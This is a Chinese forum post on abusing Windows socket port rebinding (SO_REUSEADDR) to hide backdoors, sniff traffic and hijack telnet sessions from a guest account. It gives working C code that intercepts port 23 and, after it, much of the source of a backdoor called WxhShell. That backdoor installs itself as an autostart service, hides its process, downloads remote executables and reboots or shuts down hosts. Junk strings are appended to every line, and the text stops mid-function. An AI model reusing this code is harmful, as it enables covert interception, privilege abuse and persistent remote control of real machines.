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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =oiY'}%(i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); | %6B#uy  
w&C SE  
  saddr.sin_family = AF_INET; =fG(K!AQ  
:UFf6T?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); PS \QbA  
EA?:GtH  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qWQJ>  
bFJmXx&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w )DO"Z7  
V<ODt%  
  这意味着什么?意味着可以进行如下的攻击: o{>hOs &  
RTF{<,E.UX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /j3oHi$  
vR+(7^Yy  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s?OGB}  
F"B!r-J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?Vt$  
r+$ 0u~^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  etGquW.  
eb.`Q+Gb  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 { SK8Mdn  
*7!}[ v_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x40R)Led  
Mzxz-cE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 MZ0uc2L=  
QC ?8  
  #include t@)~{W {  
  #include 'fK_J}+P  
  #include :~6%nFo  
  #include    | b@?]M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |Zkcs]8M!  
  int main() !K`;fp!  
  { @,zBZNX y  
  WORD wVersionRequested; $o]suF;3  
  DWORD ret; EXb{/4  
  WSADATA wsaData; YMqL,& Q{1  
  BOOL val; rr9HC]63  
  SOCKADDR_IN saddr; G)b]uX  
  SOCKADDR_IN scaddr; & qd:o}  
  int err; n=hz7tjaz  
  SOCKET s; eaF5S'k 4$  
  SOCKET sc; V @d:n  
  int caddsize; i-niRu<  
  HANDLE mt; :5@7z9 >  
  DWORD tid;   p'xj:bB  
  wVersionRequested = MAKEWORD( 2, 2 ); VFG)|Z  
  err = WSAStartup( wVersionRequested, &wsaData ); `{tykYwCLc  
  if ( err != 0 ) { 1 4(?mM3   
  printf("error!WSAStartup failed!\n"); -Ca.:zX  
  return -1; ;5y!,OF6  
  } 4b7}Sr=`  
  saddr.sin_family = AF_INET; 5'oWd e  
   #9 } Oqm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %tQIKjsVaY  
o"'VI4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zxwpS  
  saddr.sin_port = htons(23); A3 j>R477A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5{cAawU.  
  { i<=@ 7W  
  printf("error!socket failed!\n"); V|b?H6Q  
  return -1; 14zo0ANM  
  } fI}-?@  
  val = TRUE; r2U2pAy#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?:H9xJ_^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +8 6\&y)  
  { .:<c[EJ b  
  printf("error!setsockopt failed!\n"); dcXtT3,kpX  
  return -1; JziMjR  
  } U/jJ@8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; QW~o+N~~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N#ex2c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }m0Lr:vq<r  
_Zb_9&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '| Ag,x[  
  { FK mFjqY  
  ret=GetLastError(); %\5y6  
  printf("error!bind failed!\n"); eZg31.  
  return -1; b[BSUdCB  
  } G%'h'AV"  
  listen(s,2); nz>A\H  
  while(1) $dwv1@M2  
  { %iJ6;V 4  
  caddsize = sizeof(scaddr); L6Ynid.k  
  //接受连接请求 pCpj#+|_)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); TxxW/f9D  
  if(sc!=INVALID_SOCKET) Ww8C![ ,  
  { b<:s{f"t,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @ ?e;Jp9  
  if(mt==NULL) !$_mWz  
  { k W-5H;>  
  printf("Thread Creat Failed!\n"); #!, xjd  
  break; T,H]svN5p  
  } XP{ nf9&  
  } ;gW~+hW^  
  CloseHandle(mt); qTffh{q V  
  } dB_\,%vAd  
  closesocket(s); b_wb!_  
  WSACleanup(); %lV>Nc|iz=  
  return 0; w)!(@}vd  
  }   BE3~f6 `  
  DWORD WINAPI ClientThread(LPVOID lpParam) HkrNh>^=  
  { c/g(=F__[  
  SOCKET ss = (SOCKET)lpParam; UejG$JyHP  
  SOCKET sc; B]]M?pS  
  unsigned char buf[4096]; =Oo*7|Z  
  SOCKADDR_IN saddr; KJ(zLwQ:  
  long num; JaIj 9KLNX  
  DWORD val; %|-Rh^H[JK  
  DWORD ret; L`"cu.l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f_z2d+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t^h>~o' \  
  saddr.sin_family = AF_INET; VfZ/SByh7p  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9Ft)VX  
  saddr.sin_port = htons(23); 59EAqz[:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o'H$g%  
  { oh:t ex<  
  printf("error!socket failed!\n"); z<AQ;b  
  return -1; xRaYm  
  } v`v+M4upC  
  val = 100; m{V @Om  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "BzRL g!J  
  { Zr$PSp}  
  ret = GetLastError();  OSSMIPr  
  return -1; +}^} <|W6  
  } Z2 t0l%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F92n)*[  
  { q<;9!2py  
  ret = GetLastError(); kdoE)C   
  return -1; wvUph[j}J  
  } ("{AY?{{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $s) ^zm~  
  { Xf#;GYO|2  
  printf("error!socket connect failed!\n"); LW2Sko?Yo  
  closesocket(sc); 6\E |`  
  closesocket(ss); />$)o7U`+  
  return -1; Y %<B,3  
  } _~_Hup  
  while(1) _ H@pYMNH  
  { H M76%9!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y"){?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `NGCUGQ_7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4!monaB"e  
  num = recv(ss,buf,4096,0); 6 #QS 5  
  if(num>0) ?=PQQx2_*u  
  send(sc,buf,num,0); YemOP9  
  else if(num==0) 0~FX!1;  
  break; rj:$'m7  
  num = recv(sc,buf,4096,0); $jw!DrE  
  if(num>0) >\>HRyt%  
  send(ss,buf,num,0); H5qa7JMZ  
  else if(num==0) (jQL?  
  break; *Qyw _Q  
  } mFo6f\DHr`  
  closesocket(ss); Z NuyGo;  
  closesocket(sc); 7p~@S4  
  return 0 ; dXdU4YJ X  
  } sN;U,{  
Ky$ <WZs  
1x\%VtO>\b  
========================================================== b"f4}b  
+J#H9>To!  
下边附上一个代码,,WXhSHELL *^NC5=A(d  
ls/:/x(5d  
========================================================== TuX#;!p6  
g/Qr] :;  
#include "stdafx.h" Qp-nr]  
778L[wYe  
#include <stdio.h> >j$f$*x  
#include <string.h> s2d;601*b  
#include <windows.h> DVCc^5#  
#include <winsock2.h> k:d'aP3  
#include <winsvc.h> -gC=%0sp\  
#include <urlmon.h> ;vd%=vR  
@9QHv  
#pragma comment (lib, "Ws2_32.lib") %r|fuwwJO  
#pragma comment (lib, "urlmon.lib") 1`h`-dqr#  
OCR x|  
#define MAX_USER   100 // 最大客户端连接数 KK7Y"~ 9&-  
#define BUF_SOCK   200 // sock buffer o+q 5:vJt  
#define KEY_BUFF   255 // 输入 buffer <xc"y|7X  
q WP1i7]=/  
#define REBOOT     0   // 重启 Y$'fds4P  
#define SHUTDOWN   1   // 关机 s+ 0$_&xR  
6?hv ,^  
#define DEF_PORT   5000 // 监听端口 r3iNfY b  
blS*HKw  
#define REG_LEN     16   // 注册表键长度 `;i| %$TU  
#define SVC_LEN     80   // NT服务名长度 K` U\+AE  
1{u;-pg  
// 从dll定义API gNxnoOY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2{&|%1Jg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,@[Q:fY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E=7" };  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P= S)V   
;jnnCXp>  
// wxhshell配置信息 g3Ff<P P  
struct WSCFG { fT 8"1f|w  
  int ws_port;         // 监听端口 /'">H-r  
  char ws_passstr[REG_LEN]; // 口令 KsHovv-A  
  int ws_autoins;       // 安装标记, 1=yes 0=no e[{LNM{/#  
  char ws_regname[REG_LEN]; // 注册表键名 C \}m_`MR  
  char ws_svcname[REG_LEN]; // 服务名 X1A;MA@0Ro  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4;j #7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yqB{QFXO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gA.G:1v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W_kJb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YDDwvk H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eo,m ^&  
JfC.U,7Nc  
}; M,mj{OY~x  
"-I>  
// default Wxhshell configuration 5 bMVDw/  
struct WSCFG wscfg={DEF_PORT, 6,oi(RAf  
    "xuhuanlingzhe", k*^.-v  
    1, ;r`[6[AG  
    "Wxhshell", ayC*n'  
    "Wxhshell", ;/e!!P]jP  
            "WxhShell Service", A03PEaZO  
    "Wrsky Windows CmdShell Service", *rW]HNz  
    "Please Input Your Password: ", ko  ~iDT  
  1, } |sP;Rpu  
  "http://www.wrsky.com/wxhshell.exe", [q_Yf!(m-  
  "Wxhshell.exe" ~6@~fhu  
    }; `~*qjA  
?VReKv1\  
// 消息定义模块 f^0vkWI2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8zZR %fZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lOZ.{0{f,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A0&~U0*(~  
char *msg_ws_ext="\n\rExit."; ~;U!?  
char *msg_ws_end="\n\rQuit."; &_!BMzp4  
char *msg_ws_boot="\n\rReboot..."; *Z{W,8h*s  
char *msg_ws_poff="\n\rShutdown..."; o F @{&  
char *msg_ws_down="\n\rSave to "; >Z>*Iz,LP  
( 6r9y3'  
char *msg_ws_err="\n\rErr!"; ^=W%G^jJy  
char *msg_ws_ok="\n\rOK!"; rWa7"<`p  
m*["  
char ExeFile[MAX_PATH]; M0_K%Z(zaR  
int nUser = 0; ( 4b&}46  
HANDLE handles[MAX_USER]; Tk+\Biq   
int OsIsNt; m>UJ; F  
!Ng^k>*h  
SERVICE_STATUS       serviceStatus; f~"3#MaV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZXr]V'Q?  
zW+Y{^hf  
// 函数声明 J$'T2@H#  
int Install(void);  rro,AS}  
int Uninstall(void); 7tfFRUw  
int DownloadFile(char *sURL, SOCKET wsh); pk"JcUzR  
int Boot(int flag); 0Z9jlwcQ  
void HideProc(void); rytizbc  
int GetOsVer(void); )(?s=<H  
int Wxhshell(SOCKET wsl); {|> ~#a49h  
void TalkWithClient(void *cs); 12cfqIo9  
int CmdShell(SOCKET sock); Sqfa,3?L  
int StartFromService(void); /\Q{i#v  
int StartWxhshell(LPSTR lpCmdLine); W%Um:C\I  
2X6y^f';\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d6(qc< /!r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); > %d]"]  
?J)%.~!  
// 数据结构和表定义 9lny[{9  
SERVICE_TABLE_ENTRY DispatchTable[] = xcoYo  
{ y )/d-  
{wscfg.ws_svcname, NTServiceMain}, R?X9U.AcW  
{NULL, NULL} 0aGfz=V&  
}; vy-{BH  
a9D 5qj  
// 自我安装 ?u8+F  
int Install(void) fpoH7Jd V  
{ J-u,6c  
  char svExeFile[MAX_PATH]; zJ &qR  
  HKEY key; +R*4`F:QJQ  
  strcpy(svExeFile,ExeFile); j*+r`CX  
/mr&Y}7T  
// 如果是win9x系统,修改注册表设为自启动 M2V.FYV{j>  
if(!OsIsNt) { 3ON]c13  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v[lytX4)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BNzL+"W  
  RegCloseKey(key); 4"7Qz z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GW}KmTa]&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \ iP[iE=  
  RegCloseKey(key); zBc7bbK  
  return 0; s"a*S\a;b  
    } P,wFib^1  
  } XY%8yII6  
} iUl{_vb  
else { XFBk:~}sI  
/$q;-/DnTZ  
// 如果是NT以上系统,安装为系统服务 YQ?|Vb U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;tKL/eI  
if (schSCManager!=0)  W#??fae  
{ kZn!]TseN  
  SC_HANDLE schService = CreateService }Efp{E  
  ( vTB*J,6.  
  schSCManager, q F}5mUcZ4  
  wscfg.ws_svcname,  H) (K  
  wscfg.ws_svcdisp, pX*mX]  
  SERVICE_ALL_ACCESS, S - 7JDE>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DJ<e=F!  
  SERVICE_AUTO_START, kXG+zsT  
  SERVICE_ERROR_NORMAL, `SIJszqc  
  svExeFile, AM Rj N;  
  NULL, 8q0f#/`v  
  NULL, I>P</TE7  
  NULL, =z@'vu$Fh  
  NULL, ";>D0h^D  
  NULL t_j.@|/FZ  
  ); ;$0za]x  
  if (schService!=0) DR=>la}!  
  { /CZOO)n  
  CloseServiceHandle(schService); Pu*st=KGB  
  CloseServiceHandle(schSCManager); t+h"YiT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J(l6(+8  
  strcat(svExeFile,wscfg.ws_svcname); +)7NWR\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {0QA+[Yd&!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =%RDT9T.  
  RegCloseKey(key); r&TxRsg{  
  return 0; !`aodz*PO  
    } VK|!aqA{b  
  } T;FzKfT|  
  CloseServiceHandle(schSCManager); ? X:RrZ:/  
} `zep`j&8^  
} NS&~n^*k<  
8 3<kaeu,^  
return 1; i[YYR,X|  
} QZwRg&d<o  
}D=h"\_=  
// 自我卸载 tKJ) 'v?  
int Uninstall(void) NZ.aI{  
{ -''vxt?7H&  
  HKEY key; 7l:H~"9r  
bUqO.FZ[  
if(!OsIsNt) { AV8TP-Ls+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *:d_~B?Tn  
  RegDeleteValue(key,wscfg.ws_regname); E+3~w?1  
  RegCloseKey(key); Pb~S{):  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c=| a\\  
  RegDeleteValue(key,wscfg.ws_regname); cb UVeh7Q  
  RegCloseKey(key); +bQn2PG=  
  return 0; MM5#B!BB  
  } a~{St v  
} 7,O^c +  
} T]i~GkD\  
else { #Io#OG<7b  
||_F /AD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w{UU(  
if (schSCManager!=0) (m,O!935f  
{ A"P1 B]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q?t>!1c  
  if (schService!=0) 5aWKyXBIx  
  { z&- `<uV~  
  if(DeleteService(schService)!=0) { h?CNChRJs  
  CloseServiceHandle(schService); NuXU2w~  
  CloseServiceHandle(schSCManager); F,EHZ,<V  
  return 0; "\V:W%23W{  
  } `[ne<F?e  
  CloseServiceHandle(schService); [S9nF  
  } UbuxD})  
  CloseServiceHandle(schSCManager); wicg8[T=B  
} }M9'N%PU  
} =+"XV8Fi,  
](0A/,#q6  
return 1; "/\:Fdc^  
} g6*}& .&  
hpw;w}m  
// 从指定url下载文件 Gge"`AT  
int DownloadFile(char *sURL, SOCKET wsh) E]7G4  
{ /_56H?w\  
  HRESULT hr; +nqOP3  
char seps[]= "/"; 2 na8G  
char *token; o= 8yp2vG  
char *file; ',CcLN  
char myURL[MAX_PATH]; AM}OL Hj  
char myFILE[MAX_PATH]; %_3{Db`R>  
Lh. L~M1X  
strcpy(myURL,sURL); h7Ma`w\-  
  token=strtok(myURL,seps); 3 +#bkG  
  while(token!=NULL) 3yZ@i<rfH  
  { 1`)R#$h  
    file=token; &MKv _  
  token=strtok(NULL,seps); Vj:PNt[  
  } oF3#]6`;/  
0u0Hl%nl  
GetCurrentDirectory(MAX_PATH,myFILE); >&$ V"*]  
strcat(myFILE, "\\"); lca.(3u   
strcat(myFILE, file); {uhw ^)v  
  send(wsh,myFILE,strlen(myFILE),0); "w7:{E5e  
send(wsh,"...",3,0); =!{dKz-&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !}vz_6)  
  if(hr==S_OK) 'uPqe.#?  
return 0; _mO\Nw0  
else ?}Mv5SO  
return 1; 20Rgw  
,qr)}s-  
} KT|$vw2b  
cq!> B{  
// 系统电源模块 D #A9  
int Boot(int flag) T8RQM1D_s  
{ 8m6L\Z&  
  HANDLE hToken; }SOj3.9{c  
  TOKEN_PRIVILEGES tkp; XCt}>/"s\h  
%b_zUFHPp  
  if(OsIsNt) { f^]2qoN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bGSgph  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _x>u "w  
    tkp.PrivilegeCount = 1; ciXAyT cG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HAU8H'h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9:esj{X  
if(flag==REBOOT) { 4e5Ka{# <  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .jRXHrK;  
  return 0; k r/[|.bq  
} CE+\|5u W  
else { vu*08<M~i|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jy1*E3vQ  
  return 0; DLz~$TF^  
} w.V8-9{  
  } 5ax/jd~}  
  else { \"uR&D  
if(flag==REBOOT) { 5^5h%~)}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }2{%V^D)r  
  return 0; [NuayO3  
} uH7u4f1Q  
else { ,0 ])]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |fa3;8!96  
  return 0; $60+}B`m  
} sNNt0q(  
} AAs&wYp8Yh  
SIg=_oa   
return 1; E>7[ti_p5  
} &-&6ARb7o  
0phGn+"R  
// win9x进程隐藏模块 h?idRaN_  
void HideProc(void) .]jKuTC\<  
{ %]:u^\7  
.E@yB`AR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AMkjoy3+]  
  if ( hKernel != NULL ) uEk$Y=p7!  
  { W"~G]a+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rK`*v*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z |t0mS$  
    FreeLibrary(hKernel); kgA')]  
  } ++FMkeHZ  
gE%-Pf~  
return; J NsK   
} 8S)k]$wf%  
[jY_e`S  
// 获取操作系统版本 uODpIxN  
int GetOsVer(void) J \G8 g,@  
{ Ypp>7J/  
  OSVERSIONINFO winfo; v/(< fI^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0/),ylCj  
  GetVersionEx(&winfo); WJhI6lu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0chBw~@*s  
  return 1; d*!,McBn  
  else `s.y!(`q  
  return 0; W>h[aVTO  
} 6r^(VT  
2avSsN{^  
// 客户端句柄模块  ;BpuNB  
int Wxhshell(SOCKET wsl) ;Cv x48  
{ G<>`O;i  
  SOCKET wsh; fUE jl  
  struct sockaddr_in client; <oO^ w&G  
  DWORD myID; P,*R@N  
&"25a[x{B  
  while(nUser<MAX_USER) tcmG>^YM  
{ SB]|y -su  
  int nSize=sizeof(client); 0;]tC\D1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eH75: `  
  if(wsh==INVALID_SOCKET) return 1; VFRUiz/C  
`L0}^ |`9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +A/n <VH  
if(handles[nUser]==0) b}axw+  
  closesocket(wsh); (?$}Vp  
else #IgY'L  
  nUser++; )5p0fw  
  } w+[r$+z!k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I>fEwMk~  
M$|^?U>cm  
  return 0; 02bv0  
} o-49o5:1  
?7(`2=J  
// 关闭 socket St'3e<  
void CloseIt(SOCKET wsh) {Pdy KgM  
{ J6=*F;x6E  
closesocket(wsh); F~&bgl[YZ  
nUser--; -3F|)qwK  
ExitThread(0); \z0"  
} !,|yrB&`S  
8NA2C.gOZ  
// 客户端请求句柄 qm8[ ^jO&  
void TalkWithClient(void *cs) \_0nH`  
{ t13wQ t  
ax,%07hJ  
  SOCKET wsh=(SOCKET)cs; U^:+J-z{  
  char pwd[SVC_LEN]; CH!Lf,G  
  char cmd[KEY_BUFF]; YY'46  
char chr[1]; qMKXS,s  
int i,j; Bv@NE2  
..;}EFw5  
  while (nUser < MAX_USER) { ^~( @QfY  
O~trv,?)  
if(wscfg.ws_passstr) { Uz[#t1*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?%#3p[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [gx6e 44  
  //ZeroMemory(pwd,KEY_BUFF); D O#4E<]5  
      i=0; I6X_DPY  
  while(i<SVC_LEN) { m.Yj{u8zX  
x^xlH!Sc  
  // 设置超时 ALJ^XvB4V  
  fd_set FdRead; auK*\Wjm?  
  struct timeval TimeOut; e@w-4G(;  
  FD_ZERO(&FdRead); %?@N-$j  
  FD_SET(wsh,&FdRead); _e7 Y R+  
  TimeOut.tv_sec=8; [y&yy|*\  
  TimeOut.tv_usec=0; aF]4%E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w<*6pP y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +VCG/J  
#px74EeI\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y)CnH4{  
  pwd=chr[0]; Hj2E-RwG  
  if(chr[0]==0xd || chr[0]==0xa) { 0 z.oPV@  
  pwd=0; 3E) X(WJY  
  break; criOJ-  
  } :bNqK0[rS  
  i++; <y7nGXzLK  
    } 7vF+Di(B  
Rm>AU=  
  // 如果是非法用户,关闭 socket ViKN|W >T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M&wf4)*%0+  
} *QH@c3vUe\  
8{^zXJi]m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  dtTQY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pp#  
qkPvE;"  
while(1) { =C gcRxng  
wxS.!9K  
  ZeroMemory(cmd,KEY_BUFF); >cpT_M&C,  
z.P<)[LUc  
      // 自动支持客户端 telnet标准   IT!u4iH[  
  j=0; +" |?P  
  while(j<KEY_BUFF) { {(Jbgsxm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #Ie/|  
  cmd[j]=chr[0]; aQzx^%B1  
  if(chr[0]==0xa || chr[0]==0xd) { BE>^;`K  
  cmd[j]=0; td@I ;d2  
  break; 3k3-Ts  
  } /Ps/m!  
  j++; }Vjg>"  
    } @{n"/6t  
@komb IK  
  // 下载文件 Rr A9@95+  
  if(strstr(cmd,"http://")) { .z0NMmz0z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +&bJhX  
  if(DownloadFile(cmd,wsh)) rr~O6Db  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L6<.>\^Z"  
  else 40h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8vR Q_  
  }  -]n\|U<  
  else { t}6QU  
^__';! e  
    switch(cmd[0]) { .6C9N{?Tqf  
  %'+}-w  
  // 帮助 pUF$Nq>og  
  case '?': { /;E{(%U)t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  %JoHc?  
    break; O2N7qV3 U,  
  } (`'(`x#  
  // 安装 FWC\(f  
  case 'i': { Mj!\EUn  
    if(Install()) %'o'Kh''=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y2$wL9">  
    else Q 8| C>$n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `-Y8T\  
    break; \*yH33B9  
    } HD%n'@E  
  // 卸载 D`hl}  
  case 'r': { C}jFR] x)  
    if(Uninstall()) l/xpAx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]8 vsr$E#  
    else r_>]yp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T"IDCT'z  
    break; uSQlE=  
    } 8SGqDaRt  
  // 显示 wxhshell 所在路径 |!m8JV|x  
  case 'p': { kLE("I:7  
    char svExeFile[MAX_PATH]; U\y:\+e l  
    strcpy(svExeFile,"\n\r"); ly9tI-E  
      strcat(svExeFile,ExeFile); ;}B6`v  
        send(wsh,svExeFile,strlen(svExeFile),0); S/,)X  
    break; NdxPC~Z+  
    } 6K7DZ96L  
  // 重启 unvS`>)Np  
  case 'b': { >p*7)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wr+/ 9  
    if(Boot(REBOOT)) V |cPAT%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :;Xh`br  
    else { zu_bno!  
    closesocket(wsh); R,8 W7 3  
    ExitThread(0); 4++ &P9  
    } + *)Kyk  
    break; dkWV/DAm  
    } |1%eo.  
  // 关机 &v)/mc7D  
  case 'd': { u~8=ik n+T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %p;;aZG  
    if(Boot(SHUTDOWN)) `eEiSf  
